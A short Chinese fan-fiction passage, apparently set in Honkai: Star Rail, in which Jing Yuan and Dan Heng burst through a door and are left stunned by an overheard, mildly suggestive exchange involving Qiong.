他调侃的轻笑声传入了穹的耳朵里,不但使本来就在龇牙咧嘴,试图缓解自己遭殃屁股痛楚的人愣住了,还让刚刚赶到门边,正好推开门闯进来的两人也一并惊住了。 景元:…… 丹恒:…… 是我们打开门的方式不对吗? 谁强迫谁? 再说一遍?